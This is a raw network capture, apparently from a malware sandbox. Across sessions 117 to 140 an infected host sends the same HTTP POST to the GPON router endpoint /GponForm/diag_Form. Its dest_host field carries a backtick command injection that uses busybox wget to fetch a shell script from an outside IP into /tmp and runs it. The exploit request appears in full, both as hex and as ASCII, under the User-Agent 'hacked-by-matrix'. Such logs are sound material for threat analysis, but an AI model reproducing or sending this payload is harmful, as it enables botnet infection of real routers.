Mar 21, 2024 05:25:10.962174892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	59694	178.117.34.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962199926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	39050	210.176.135.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962204933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	52106	79.200.45.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962230921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	54008	79.125.54.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962232113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	52382	5.3.239.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962251902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	43636	210.202.116.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962336063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	41048	79.174.225.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962385893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	59592	42.184.77.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962404013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	58114	94.14.94.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962412119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	40714	79.193.132.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962445021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	41692	178.122.234.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962505102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	59580	37.133.9.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962521076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	50384	118.164.125.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962532043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	46162	109.127.87.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962589025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	33778	118.68.75.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962613106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	52014	37.72.247.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962621927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	53312	5.208.59.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962647915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	45626	210.198.10.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962661028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	54824	94.216.122.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962712049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	53314	2.113.163.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962728024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	39228	210.61.129.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962739944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	35224	212.12.66.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962788105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	54158	118.4.163.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962811947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	48482	94.186.17.239	443

Timestamp	Bytes transferred	Direction	Data
